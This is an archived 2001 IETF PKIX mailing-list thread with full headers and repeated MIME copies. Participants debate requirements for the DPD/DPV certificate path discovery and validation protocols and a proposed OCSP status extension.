-----Original Message-----
From: Paul Hoffman / IMC [mailto:[e-mail]]
Sent: Friday, March 23, 2001 6:42 PM
To: Stephen Kent; [e-mail]
Subject: Re: some thoughts re DPD and DPV


At 7:09 PM -0500 3/23/01, Stephen Kent wrote:
>We could make ALL requests refer to a policy configured at the 
>server, rather than allowing for explicit transmission of these 
>parameters. To make this as flexible as the current proposals, we 
>would have to add a new protocol, to allow a client to register a 
>policy with a server, so that the client could later refer to that 
>policy. We probably want a facility to inquire about a registered 
>policy as well.

This sounds horrendously complex. To date, the IETF has had near-zero 
success with defining policy protocols, with policy working groups 
pretty much being unable to get closure. The method promoted in SCVP 
(can give individual policy info in requests or can use aggregated 
OIDs) seems much more sensible than forcing all clients to know (or, 
worse, discover and push) the policies on the server.

The number of policies a typical client wants will probably be few 
(most likely, just roots). Why make this so much more complicated 
than needed?

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA12777 for <[e-mail]>; Sat, 24 Mar 2001 04:19:57 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <HQ3BJKKP>; Sat, 24 Mar 2001 07:19:27 -0500
Message-ID: <[e-mail]>
From: Santosh Chokhani <[e-mail]>
To: Liaquat Khan <[e-mail]>, [e-mail], Stephen Kent <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Sat, 24 Mar 2001 07:11:19 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B45B.88A740E0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B45B.88A740E0
Content-Type: text/plain;
	charset="iso-8859-1"

With all due respect to PKI and X.509, a more versatile and simpler approach
to revise the path validation algorithm where the validator says for which
policies in the relying party domain the path is good for, if any.
 
The application then will have a simple check to make (locally) if any one
of these policies is acceptable to it.
 
This however, may not reduce the need for setting other policy related state
variables, the most important of them being, inhibit policy mapping related
initial skipCerts value.
 
-----Original Message-----
From: Liaquat Khan [mailto:[e-mail]]
Sent: Saturday, March 24, 2001 6:13 AM
To: [e-mail]; Stephen Kent
Subject: Re: some thoughts re DPD and DPV


I'm not against the idea of having a (validation) policy registered on the
server, which the client refers to in its request message.  However, IMO
would it not be more practical for the CA which issued the certificate to be
responsible for defining this policy and registering it directly with its
validation server?  This may remove some of the complexity of each client
having its own policy and a protocol for registering this at the server.
The client would only need to refer to the appropriate policy, which will be
based on the target certificate being checked.   Just some initial
thoughts...
 
Regards,
Liaquat
 

----- Original Message ----- 
From: Stephen Kent <mailto:[e-mail]>  
To: [e-mail] <mailto:[e-mail]>  
Sent: Saturday, March 24, 2001 12:09 AM
Subject: some thoughts re DPD and DPV


Based on presentations by and discussions with various folks during the IETF
meeting this week, I have some suggestions for DPD/DPV requirements that I
would like to put forth for discussion.

1- a motivation for both DPD and PDV has been to reduce the bandwidth
consumed by the path validation process. However, moving all of the
parameters required for path validation between a server and a client is
expensive in terms of bandwidth. Thus I think we should consider a
suggestion Denis Pinkas made on the list a while ago. We could make ALL
requests refer to a policy configured at the server, rather than allowing
for explicit transmission of these parameters. To make this as flexible as
the current proposals, we would have to add a new protocol, to allow a
client to register a policy with a server, so that the client could later
refer to that policy. We probably want a facility to inquire about a
registered policy as well. We could proceed with the development of DPD/DPV
protocols prior to having the policy registration and inquiry protocols
defined, if we feel the need to, but I would prefer parallel development of
such protocols. The bottom line would be much simpler syntax for the
requests and responses for both DPD and DPV, and smaller message sizes.

2- Along the same line of reasoning, Denis rightly noted that the primary
purpose of DPV is to provide the yes/no/maybe response to a query re a
target certificate. Thus, we ought to have a compact message format to
provide this response, and a separate message for retrieval of the
supporting data for the response, e.g., for NR purposes.  He proposed this
split, with a hash of the "evidence" in the short response, to tie the two
together. I like this suggestion and propose that we adopt this model as
part of out requirements. Of course, we need the protocol for retrieving the
evidence as well, to make the system complete.

3- we still have some significant disagreement about the nature of the path
validation controls to be used for both services, but especially for DPD.
Related to this disagreement is the issue of whether an DPD should support
incremental queries relative to the same target certificate. I don't think
we have seen a concise, comprehensive description of the application model
where such an incremental approach is warranted, so I solicit the proponents
of this approach to provide such a description, so that we can resolve this
issue.

I'm off on vacation next week, see you later,

Steve


------_=_NextPart_001_01C0B45B.88A740E0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>some thoughts re DPD and DPV</TITLE>

<STYLE type=text/css>BLOCKQUOTE {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
DL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
UL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
OL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
LI {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
</STYLE>

<META content="MSHTML 5.00.2014.210" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=511121712-24032001>With 
all due respect to PKI and X.509, a more versatile and simpler approach to 
revise the path validation algorithm where the validator says for which policies 
in the relying party domain the path is good for, if any.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=511121712-24032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=511121712-24032001>The 
application then will have a simple check to make (locally) if any one of these 
policies is acceptable to it.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=511121712-24032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=511121712-24032001>This 
however, may not reduce the need for setting other policy related state 
variables, the most important of them being, inhibit policy mapping related 
initial skipCerts value.</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV class=OutlookMessageHeader><FONT face="Times New Roman" 
size=2>-----Original Message-----<BR><B>From:</B> Liaquat Khan 
[mailto:[e-mail]]<BR><B>Sent:</B> Saturday, March 24, 2001 6:13 
AM<BR><B>To:</B> [e-mail]; Stephen Kent<BR><B>Subject:</B> Re: some 
thoughts re DPD and DPV<BR><BR></FONT></DIV>
<DIV><FONT face=Arial size=2>I'm not against the idea of having a (validation) 
policy registered on the server, which the client refers to in its request 
message.&nbsp; However, IMO would it not be more practical for the CA which 
issued the certificate to be responsible for defining this policy and 
registering it directly with its validation server?&nbsp; This may remove some 
of the complexity of each client having&nbsp;its own&nbsp;policy and a protocol 
for registering this at the server.&nbsp; &nbsp;&nbsp;The client would only need 
to refer to&nbsp;the appropriate policy, which will be&nbsp;based on the target 
certificate being checked.&nbsp;&nbsp; Just some initial 
thoughts...</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2>Regards,</FONT></DIV>
<DIV><FONT face=Arial size=2>Liaquat</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=ltr 
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style="FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV 
  style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: black"><B>From:</B> 
  <A href="mailto:[e-mail]" title=[e-mail]>Stephen Kent</A> </DIV>
  <DIV style="FONT: 10pt arial"><B>To:</B> <A href="mailto:[e-mail]" 
  title=[e-mail]>[e-mail]</A> </DIV>
  <DIV style="FONT: 10pt arial"><B>Sent:</B> Saturday, March 24, 2001 12:09 
  AM</DIV>
  <DIV style="FONT: 10pt arial"><B>Subject:</B> some thoughts re DPD and 
  DPV</DIV>
  <DIV><FONT face=Arial size=2></FONT><BR></DIV>
  <DIV><FONT color=#000000>Based on presentations by and discussions with 
  various folks during the IETF meeting this week, I have some suggestions for 
  DPD/DPV requirements that I would like to put forth for discussion.<BR><BR>1- 
  a motivation for both DPD and PDV has been to reduce the bandwidth consumed by 
  the path validation process. However, moving all of the parameters required 
  for path validation between a server and a client is expensive in terms of 
  bandwidth. Thus I think we should consider a suggestion Denis Pinkas made on 
  the list a while ago. We could make ALL requests refer to a policy configured 
  at the server, rather than allowing for explicit transmission of these 
  parameters. To make this as flexible as the current proposals, we would have 
  to add a new protocol, to allow a client to register a policy with a server, 
  so that the client could later refer to that policy. We probably want a 
  facility to inquire about a registered policy as well. We could proceed with 
  the development of DPD/DPV protocols prior to having the policy registration 
  and inquiry protocols defined, if we feel the need to, but I would prefer 
  parallel development of such protocols. The bottom line would be much simpler 
  syntax for the requests and responses for both DPD and DPV, and smaller 
  message sizes.<BR><BR>2- Along the same line of reasoning, Denis rightly noted 
  that the primary purpose of DPV is to provide the yes/no/maybe response to a 
  query re a target certificate. Thus, we ought to have a compact message format 
  to provide this response, and a separate message for retrieval of the 
  supporting data for the response, e.g., for NR purposes.&nbsp; He proposed 
  this split, with a hash of the "evidence" in the short response, to tie the 
  two together. I like this suggestion and propose that we adopt this model as 
  part of out requirements. Of course, we need the protocol for retrieving the 
  evidence as well, to make the system complete.</FONT><BR><FONT 
  color=#000000></FONT></DIV>
  <DIV><FONT color=#000000>3- we still have some significant disagreement about 
  the nature of the path validation controls to be used for both services, but 
  especially for DPD. Related to this disagreement is the issue of whether an 
  DPD should support incremental queries relative to the same target 
  certificate. I don't think we have seen a concise, comprehensive description 
  of the application model where such an incremental approach is warranted, so I 
  solicit the proponents of this approach to provide such a description, so that 
  we can resolve this issue.</FONT></DIV>
  <DIV><BR></DIV>
  <DIV>I'm off on vacation next week, see you later,</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0B45B.88A740E0--


Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA06069 for <[e-mail]>; Sat, 24 Mar 2001 03:04:07 -0800 (PST)
Received: from [213.1.177.243] (helo=vaio) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14glpz-0007m7-00; Sat, 24 Mar 2001 11:04:04 +0000
Message-ID: <001001c0b453$62212b00$851efea9@vaio>
From: "Liaquat Khan" <[e-mail]>
To: <[e-mail]>, "Stephen Kent" <[e-mail]>
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]>
Subject: Re: some thoughts re DPD and DPV
Date: Sat, 24 Mar 2001 11:12:57 -0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_000D_01C0B453.613F5680"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_000D_01C0B453.613F5680
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

some thoughts re DPD and DPVI'm not against the idea of having a =
(validation) policy registered on the server, which the client refers to =
in its request message.  However, IMO would it not be more practical for =
the CA which issued the certificate to be responsible for defining this =
policy and registering it directly with its validation server?  This may =
remove some of the complexity of each client having its own policy and a =
protocol for registering this at the server.    The client would only =
need to refer to the appropriate policy, which will be based on the =
target certificate being checked.   Just some initial thoughts...

Regards,
Liaquat

  ----- Original Message -----=20
  From: Stephen Kent=20
  To: [e-mail]=20
  Sent: Saturday, March 24, 2001 12:09 AM
  Subject: some thoughts re DPD and DPV


  Based on presentations by and discussions with various folks during =
the IETF meeting this week, I have some suggestions for DPD/DPV =
requirements that I would like to put forth for discussion.

  1- a motivation for both DPD and PDV has been to reduce the bandwidth =
consumed by the path validation process. However, moving all of the =
parameters required for path validation between a server and a client is =
expensive in terms of bandwidth. Thus I think we should consider a =
suggestion Denis Pinkas made on the list a while ago. We could make ALL =
requests refer to a policy configured at the server, rather than =
allowing for explicit transmission of these parameters. To make this as =
flexible as the current proposals, we would have to add a new protocol, =
to allow a client to register a policy with a server, so that the client =
could later refer to that policy. We probably want a facility to inquire =
about a registered policy as well. We could proceed with the development =
of DPD/DPV protocols prior to having the policy registration and inquiry =
protocols defined, if we feel the need to, but I would prefer parallel =
development of such protocols. The bottom line would be much simpler =
syntax for the requests and responses for both DPD and DPV, and smaller =
message sizes.

  2- Along the same line of reasoning, Denis rightly noted that the =
primary purpose of DPV is to provide the yes/no/maybe response to a =
query re a target certificate. Thus, we ought to have a compact message =
format to provide this response, and a separate message for retrieval of =
the supporting data for the response, e.g., for NR purposes.  He =
proposed this split, with a hash of the "evidence" in the short =
response, to tie the two together. I like this suggestion and propose =
that we adopt this model as part of out requirements. Of course, we need =
the protocol for retrieving the evidence as well, to make the system =
complete.

  3- we still have some significant disagreement about the nature of the =
path validation controls to be used for both services, but especially =
for DPD. Related to this disagreement is the issue of whether an DPD =
should support incremental queries relative to the same target =
certificate. I don't think we have seen a concise, comprehensive =
description of the application model where such an incremental approach =
is warranted, so I solicit the proponents of this approach to provide =
such a description, so that we can resolve this issue.


  I'm off on vacation next week, see you later,


  Steve

------=_NextPart_000_000D_01C0B453.613F5680
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>some thoughts re DPD and DPV</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
DL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
UL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
OL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
LI {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
</STYLE>

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I'm not against the idea of having a =
(validation)=20
policy registered on the server, which the client refers to in its =
request=20
message.&nbsp; However, IMO would it not be more practical for the CA =
which=20
issued the certificate to be responsible for defining this policy and=20
registering it directly with its validation server?&nbsp; This may =
remove some=20
of the complexity of each client having&nbsp;its own&nbsp;policy and a =
protocol=20
for registering this at the server.&nbsp; &nbsp;&nbsp;The client would =
only need=20
to refer to&nbsp;the appropriate policy, which will be&nbsp;based on the =
target=20
certificate being checked.&nbsp;&nbsp; Just some initial=20
thoughts...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Liaquat</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[e-mail] href=3D"mailto:[e-mail]">Stephen Kent</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[e-mail]=20
  href=3D"mailto:[e-mail]">[e-mail]</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, March 24, 2001 =
12:09=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> some thoughts re DPD =
and=20
  DPV</DIV>
  <DIV><FONT face=3DArial size=3D2></FONT><BR></DIV>
  <DIV><FONT color=3D#000000>Based on presentations by and discussions =
with=20
  various folks during the IETF meeting this week, I have some =
suggestions for=20
  DPD/DPV requirements that I would like to put forth for =
discussion.<BR><BR>1-=20
  a motivation for both DPD and PDV has been to reduce the bandwidth =
consumed by=20
  the path validation process. However, moving all of the parameters =
required=20
  for path validation between a server and a client is expensive in =
terms of=20
  bandwidth. Thus I think we should consider a suggestion Denis Pinkas =
made on=20
  the list a while ago. We could make ALL requests refer to a policy =
configured=20
  at the server, rather than allowing for explicit transmission of these =

  parameters. To make this as flexible as the current proposals, we =
would have=20
  to add a new protocol, to allow a client to register a policy with a =
server,=20
  so that the client could later refer to that policy. We probably want =
a=20
  facility to inquire about a registered policy as well. We could =
proceed with=20
  the development of DPD/DPV protocols prior to having the policy =
registration=20
  and inquiry protocols defined, if we feel the need to, but I would =
prefer=20
  parallel development of such protocols. The bottom line would be much =
simpler=20
  syntax for the requests and responses for both DPD and DPV, and =
smaller=20
  message sizes.<BR><BR>2- Along the same line of reasoning, Denis =
rightly noted=20
  that the primary purpose of DPV is to provide the yes/no/maybe =
response to a=20
  query re a target certificate. Thus, we ought to have a compact =
message format=20
  to provide this response, and a separate message for retrieval of the=20
  supporting data for the response, e.g., for NR purposes.&nbsp; He =
proposed=20
  this split, with a hash of the "evidence" in the short response, to =
tie the=20
  two together. I like this suggestion and propose that we adopt this =
model as=20
  part of out requirements. Of course, we need the protocol for =
retrieving the=20
  evidence as well, to make the system complete.</FONT><BR><FONT=20
  color=3D#000000></FONT></DIV>
  <DIV><FONT color=3D#000000>3- we still have some significant =
disagreement about=20
  the nature of the path validation controls to be used for both =
services, but=20
  especially for DPD. Related to this disagreement is the issue of =
whether an=20
  DPD should support incremental queries relative to the same target=20
  certificate. I don't think we have seen a concise, comprehensive =
description=20
  of the application model where such an incremental approach is =
warranted, so I=20
  solicit the proponents of this approach to provide such a description, =
so that=20
  we can resolve this issue.</FONT></DIV>
  <DIV><BR></DIV>
  <DIV>I'm off on vacation next week, see you later,</DIV>
  <DIV><BR></DIV>
  <DIV>Steve</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000D_01C0B453.613F5680--



Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id SAA26402 for <[e-mail]>; Fri, 23 Mar 2001 18:02:26 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id OAA06233; Sat, 24 Mar 2001 14:02:28 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98539934832371>; Sat, 24 Mar 2001 14:02:28 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: RE: some thoughts re DPD and DPV
Cc: [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Sat, 24 Mar 2001 14:02:28 (NZST)
Message-ID: <[e-mail]>

Speaking of OCSP, I have a suggestion for v2: Currently the status values which
are returned are not-revoked, revoked, and unknown (note that I've used "not-
revoked" rather than "OK" because what's called "OK" doesn't actually mean the
cert is OK).  I've had a request from a user in Germany for an addition to this
which provides a true-OK response (that is, a response of "This certificate was
definitely issued and is valid as of the time the response was sent") as well
as a true-invalid response ("This certificate wasn't issued/has been
revoked/has expired").  My suggestion for providing this was to create a
(private) extension which contains this information, but given that things like
ISIS are doing something similar by overloading RFC 2560 it might be useful to
make this a bit more standardised by adding it to the RFC rather than having
everyone invent their own incompatible, ad-hoc solutions.

Note that this isn't any infringement on DPD/DPV's territory, all this is doing
is providing more useful status information than the current return values do.
For the extension I'd proposed the following:

  ExtendedStatus ::= BOOLEAN

  If set to true, the responder is indicating that the certificate has been
  issued and is curently valid.

  If set to false, the responder is indicating that the certificate has not
  been issued, has not become valid yet or has expired, or has been revoked
  (more information is contained in the certStatus field) or otherwise
  withdrawn from use.

This doesn't do any path validation or anything else provided for in DPD/DPV,
all it is is an assertion from the CA/responder that as far as they're
concerned it's valid or it's not valid.  This is a very simple fix to OCSP
which is fully backwards-compatible and helps avoid the problems caused by the
limited ability of the certStatus value to report certain certificate
conditions.

Peter.



Received: from [165.227.249.20] (ip20.proper.com [165.227.249.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA25521; Fri, 23 Mar 2001 17:42:49 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05100802b6e1aad52bbf@[165.227.249.20]>
In-Reply-To: <p05010400b6e1961baf8d@[128.33.4.39]>
References: <[e-mail]> <p05010400b6e1961baf8d@[128.33.4.39]>
Date: Fri, 23 Mar 2001 17:42:04 -0800
To: Stephen Kent <[e-mail]>, [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: some thoughts re DPD and DPV
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 7:09 PM -0500 3/23/01, Stephen Kent wrote:
>We could make ALL requests refer to a policy configured at the 
>server, rather than allowing for explicit transmission of these 
>parameters. To make this as flexible as the current proposals, we 
>would have to add a new protocol, to allow a client to register a 
>policy with a server, so that the client could later refer to that 
>policy. We probably want a facility to inquire about a registered 
>policy as well.

This sounds horrendously complex. To date, the IETF has had near-zero 
success with defining policy protocols, with policy working groups 
pretty much being unable to get closure. The method promoted in SCVP 
(can give individual policy info in requests or can use aggregated 
OIDs) seems much more sensible than forcing all clients to know (or, 
worse, discover and push) the policies on the server.

The number of policies a typical client wants will probably be few 
(most likely, just roots). Why make this so much more complicated 
than needed?

--Paul Hoffman, Director
--Internet Mail Consortium


Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA24323 for <[e-mail]>; Fri, 23 Mar 2001 17:13:55 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2O1Dvb00604; Fri, 23 Mar 2001 17:13:58 -0800 (PST)
From: "Michael Myers" <[e-mail]>
To: "Ietf-Pkix@Imc. Org" <[e-mail]>
Cc: "Stephen Kent" <[e-mail]>
Subject: RE: some thoughts re DPD and DPV
Date: Fri, 23 Mar 2001 17:20:33 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-reply-to: <p05010400b6e1961baf8d@[128.33.4.39]>

Steve,

Speaking from the OCSP perspective, our formulations of OCSPv1 and OCSPv2
implicitly assumed and continues to assume that policy management between
relying parties and validating parties is out of scope.  We of the OCSP team
agree that the parallel development of such protocols is strongly preferred
vice deltas to OCSPv2.

I have no problem with an optional evidentiary hash in a DPV response if
it's client-precipitated.  As Denis and I had discussed earlier this week,
some environments may prefer this to the constant reiteration by a server of
a full chain or other policy indicators (e.g. the full text of a policy
document).  We will take this as a requirement and study how best to fold
this requirement into the current OCSPv2 technical framework.

When you refer to "incremental queries relative to the same target
certificate" are you speaking to the currently proposed retryReference
mechanism?

Mike




From: Stephen Kent [[e-mail]]
Sent: Friday, March 23, 2001 4:10 PM
To: [e-mail]
Subject: some thoughts re DPD and DPV

Based on presentations by and discussions with various folks during the IETF
meeting this week, I have some suggestions for DPD/DPV requirements that I
would like to put forth for discussion.

1- a motivation for both DPD and PDV has been to reduce the bandwidth
consumed by the path validation process. However, moving all of the
parameters required for path validation between a server and a client is
expensive in terms of bandwidth. Thus I think we should consider a
suggestion Denis Pinkas made on the list a while ago. We could make ALL
requests refer to a policy configured at the server, rather than allowing
for explicit transmission of these parameters. To make this as flexible as
the current proposals, we would have to add a new protocol, to allow a
client to register a policy with a server, so that the client could later
refer to that policy. We probably want a facility to inquire about a
registered policy as well. We could proceed with the development of DPD/DPV
protocols prior to having the policy registration and inquiry protocols
defined, if we feel the need to, but I would prefer parallel development of
such protocols. The bottom line would be much simpler syntax for the
requests and responses for both DPD and DPV, and smaller message sizes.

2- Along the same line of reasoning, Denis rightly noted that the primary
purpose of DPV is to provide the yes/no/maybe response to a query re a
target certificate. Thus, we ought to have a compact message format to
provide this response, and a separate message for retrieval of the
supporting data for the response, e.g., for NR purposes.  He proposed this
split, with a hash of the "evidence" in the short response, to tie the two
together. I like this suggestion and propose that we adopt this model as
part of out requirements. Of course, we need the protocol for retrieving the
evidence as well, to make the system complete.

3- we still have some significant disagreement about the nature of the path
validation controls to be used for both services, but especially for DPD.
Related to this disagreement is the issue of whether an DPD should support
incremental queries relative to the same target certificate. I don't think
we have seen a concise, comprehensive description of the application model
where such an incremental approach is warranted, so I solicit the proponents
of this approach to provide such a description, so that we can resolve this
issue.


I'm off on vacation next week, see you later,


Steve



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA19775 for <[e-mail]>; Fri, 23 Mar 2001 16:07:23 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id TAA04125 for <[e-mail]>; Fri, 23 Mar 2001 19:04:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010400b6e1961baf8d@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Fri, 23 Mar 2001 19:09:46 -0500
To: [e-mail]
From: Stephen Kent <[e-mail]>
Subject: some thoughts re DPD and DPV
Content-Type: multipart/alternative; boundary="============_-1226729903==_ma============"

--============_-1226729903==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Based on presentations by and discussions with various folks during 
the IETF meeting this week, I have some suggestions for DPD/DPV 
requirements that I would like to put forth for discussion.

1- a motivation for both DPD and PDV has been to reduce the bandwidth 
consumed by the path validation process. However, moving all of the 
parameters required for path validation between a server and a client 
is expensive in terms of bandwidth. Thus I think we should consider a 
suggestion Denis Pinkas made on the list a while ago. We could make 
ALL requests refer to a policy configured at the server, rather than 
allowing for explicit transmission of these parameters. To make this 
as flexible as the current proposals, we would have to add a new 
protocol, to allow a client to register a policy with a server, so 
that the client could later refer to that policy. We probably want a 
facility to inquire about a registered policy as well. We could 
proceed with the development of DPD/DPV protocols prior to having the 
policy registration and inquiry protocols defined, if we feel the 
need to, but I would prefer parallel development of such protocols. 
The bottom line would be much simpler syntax for the requests and 
responses for both DPD and DPV, and smaller message sizes.

2- Along the same line of reasoning, Denis rightly noted that the 
primary purpose of DPV is to provide the yes/no/maybe response to a 
query re a target certificate. Thus, we ought to have a compact 
message format to provide this response, and a separate message for 
retrieval of the supporting data for the response, e.g., for NR 
purposes.  He proposed this split, with a hash of the "evidence" in 
the short response, to tie the two together. I like this suggestion 
and propose that we adopt this model as part of out requirements. Of 
course, we need the protocol for retrieving the evidence as well, to 
make the system complete.

3- we still have some significant disagreement about the nature of 
the path validation controls to be used for both services, but 
especially for DPD. Related to this disagreement is the issue of 
whether an DPD should support incremental queries relative to the 
same target certificate. I don't think we have seen a concise, 
comprehensive description of the application model where such an 
incremental approach is warranted, so I solicit the proponents of 
this approach to provide such a description, so that we can resolve 
this issue.

I'm off on vacation next week, see you later,

Steve
--============_-1226729903==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>some thoughts re DPD and DPV</title></head><body>
<div><font color="#000000">Based on presentations by and discussions
with various folks during the IETF meeting this week, I have some
suggestions for DPD/DPV requirements that I would like to put forth
for discussion.<br>
<br>
1- a motivation for both DPD and PDV has been to reduce the bandwidth
consumed by the path validation process. However, moving all of the
parameters required for path validation between a server and a client
is expensive in terms of bandwidth. Thus I think we should consider a
suggestion Denis Pinkas made on the list a while ago. We could make
ALL requests refer to a policy configured at the server, rather than
allowing for explicit transmission of these parameters. To make this
as flexible as the current proposals, we would have to add a new
protocol, to allow a client to register a policy with a server, so
that the client could later refer to that policy. We probably want a
facility to inquire about a registered policy as well. We could
proceed with the development of DPD/DPV protocols prior to having the
policy registration and inquiry protocols defined, if we feel the need
to, but I would prefer parallel development of such protocols. The
bottom line would be much simpler syntax for the requests and
responses for both DPD and DPV, and smaller message sizes.<br>
<br>
2- Along the same line of reasoning, Denis rightly noted that the
primary purpose of DPV is to provide the yes/no/maybe response to a
query re a target certificate. Thus, we ought to have a compact
message format to provide this response, and a separate message for
retrieval of the supporting data for the response, e.g., for NR
purposes.&nbsp; He proposed this split, with a hash of the
"evidence" in the short response, to tie the two together. I like
this suggestion and propose that we adopt this model as part of out
requirements. Of course, we need the protocol for retrieving the
evidence as well, to make the system complete.</font><br>
<font color="#000000"></font></div>
<div><font color="#000000">3- we still have some significant
disagreement about the nature of the path validation controls to be
used for both services, but especially for DPD. Related to this
disagreement is the issue of whether an DPD should support incremental
queries relative to the same target certificate. I don't think we
have seen a concise, comprehensive description of the application
model where such an incremental approach is warranted, so I solicit
the proponents of this approach to provide such a description, so that
we can resolve this issue.</font></div>
<div><br></div>
<div>I'm off on vacation next week, see you later,</div>
<div><br></div>
<div>Steve</div>
</body>
</html>
--============_-1226729903==_ma============--

